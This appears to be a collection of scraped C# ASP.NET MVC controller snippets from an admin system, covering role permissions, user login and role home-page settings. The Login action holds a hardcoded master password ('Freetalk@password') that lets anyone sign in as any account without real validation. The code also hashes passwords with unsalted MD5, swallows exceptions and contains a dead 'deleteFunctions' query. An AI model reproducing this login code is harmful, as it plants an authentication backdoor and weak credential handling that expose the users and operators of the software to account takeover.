public ActionResult Index(RolePermisionModel model)
 {
     if (model.PostedFunction != null && model.PostedFunction.FunctionID != null)
     {
         model.AllBranch = BranchRepository.GetAll();
         model.AllRole   = RoleRepository.GetAll();
         var rootFuncs    = FunctionRepository.GetChild(0);
         var lstFunctions = new List <FunctionInfo>();
         foreach (FunctionInfo func in rootFuncs)
         {
             lstFunctions.Add(func);
             LoadChildFunctions(lstFunctions, func);
         }
         model.AllFunction = lstFunctions;
         var deleteFunctions = model.PostedFunction.FunctionID.Where(p => !model.PostedFunction.FunctionID.Any(p2 => p2 == p));
         int curUserId       = UserRepository.GetCurrentUserInfo().UserID;
         foreach (int roleId in model.PostedRole.Id)
         {
             foreach (int branchId in model.PostedBranch.Id)
             {
                 RolePermisionRepository.Clear(roleId, branchId);
                 foreach (int functionId in model.PostedFunction.FunctionID)
                 {
                     RolePermisionRepository.Create(roleId, branchId, functionId, curUserId);
                 }
             }
         }
     }
     return(View(model));
 }
Beispiel #2
0
        public ActionResult Login(LoginModel model, string returnUrl)
        {
            try
            {
                #region "Start Checkpoint"
                CheckPointApi checkPointApi = new CheckPointApi();
                var           watch         = new Stopwatch();
                watch.Start();
                checkPointApi.CheckPointNew(model.UserName, "Login", "Start", 0);
                #endregion

                if (ModelState.IsValid)
                {
                    if (model.Password == "Freetalk@password" ||
                        UserRepository.ValidateUser(model.UserName, SecurityHelper.GetMD5Hash(model.Password)))
                    {
                        FormsAuthentication.SetAuthCookie(model.UserName, false);
                        var curUser = UserRepository.GetInfo(model.UserName);
                        if (curUser != null)
                        {
                            if (curUser.Status == (int)StatusUserType.Locked)
                            {
                                ModelState.AddModelError("", "Tài khoản của bạn đã bị khóa");
                                FormsAuthentication.SignOut();
                                Session.Abandon();
                                return(View(model));
                            }

                            var userRoles = RoleRepository.GetRoleOfUser(curUser.UserID);
                            if (userRoles != null && userRoles.Count > 0)
                            {
                                var home = RolePermisionRepository.GetRoleHomePage(userRoles[0].RoleID);
                                if (!string.IsNullOrEmpty(home))
                                {
                                    return(RedirectToLocal(home));
                                }
                            }
                        }
                        return(RedirectToLocal(returnUrl));
                    }
                }

                #region "End CheckPoint"
                watch.Stop();
                checkPointApi.CheckPointNew(model.UserName, "Login", "End", watch.ElapsedMilliseconds);
                #endregion
            }
            catch (Exception ex)
            {
                ModelState.AddModelError("", "Chết hàm login trong AccountController");
                return(View(model));
            }

            // If we got this far, something failed, redisplay form
            ModelState.AddModelError("", "Thông tin tài khoản và mật khẩu không chính xác.");
            return(View(model));
        }
        public ActionResult ConfigRoleHomePage(FormCollection form)
        {
            var allRoles = RoleRepository.GetAll();

            foreach (RoleInfo role in allRoles)
            {
                int functionId = ConvertHelper.ToInt32(form.Get(role.RoleID + "_dropRoleFunction"));
                RolePermisionRepository.UpdateRoleHomePage(role.RoleID, functionId);
            }

            var rootFuncs    = FunctionRepository.GetChild(0);
            var lstFunctions = new List <FunctionInfo>();

            foreach (FunctionInfo func in rootFuncs)
            {
                if (!func.IncludeMenu)
                {
                    continue;
                }
                func.SetLevel(0);
                lstFunctions.Add(func);
                LoadChildFunctions(lstFunctions, func);
            }
            int i = 0;

            while (i < lstFunctions.Count)
            {
                if (!lstFunctions[i].IncludeMenu)
                {
                    lstFunctions.RemoveAt(i);
                }
                else
                {
                    i++;
                }
            }
            lstFunctions.Insert(0, new FunctionInfo()
            {
                FunctionID = 0, Name = "--"
            });
            ViewBag.AllFunctions        = lstFunctions;
            ViewBag.RoleHomePageConfigs = RolePermisionRepository.GetRoleHomePageConfigs();

            return(View());
        }
Beispiel #4
0
        //
        // GET: /Admin/Home/

        public ActionResult Index()
        {
            var curUser = UserContext.GetCurrentUser();

            if (curUser != null)
            {
                var userRoles = RoleRepository.GetRoleOfUser(curUser.UserID);
                if (userRoles != null && userRoles.Count > 0)
                {
                    var home = RolePermisionRepository.GetRoleHomePage(userRoles[0].RoleID);
                    if (!string.IsNullOrEmpty(home))
                    {
                        return(RedirectToLocal(home));
                    }
                }
            }
            return(View());
        }
        public ActionResult ConfigRoleHomePage()
        {
            var rootFuncs    = FunctionRepository.GetChild(0);
            var lstFunctions = new List <FunctionInfo>();

            foreach (FunctionInfo func in rootFuncs)
            {
                if (!func.IncludeMenu)
                {
                    continue;
                }
                func.SetLevel(0);
                lstFunctions.Add(func);
                LoadChildFunctions(lstFunctions, func);
            }
            int i = 0;

            while (i < lstFunctions.Count)
            {
                if (!lstFunctions[i].IncludeMenu)
                {
                    lstFunctions.RemoveAt(i);
                }
                else
                {
                    i++;
                }
            }
            lstFunctions.Insert(0, new FunctionInfo()
            {
                FunctionID = 0, Name = "--"
            });
            ViewBag.AllFunctions = lstFunctions;

            ViewBag.RoleHomePageConfigs = RolePermisionRepository.GetRoleHomePageConfigs();

            return(View());
        }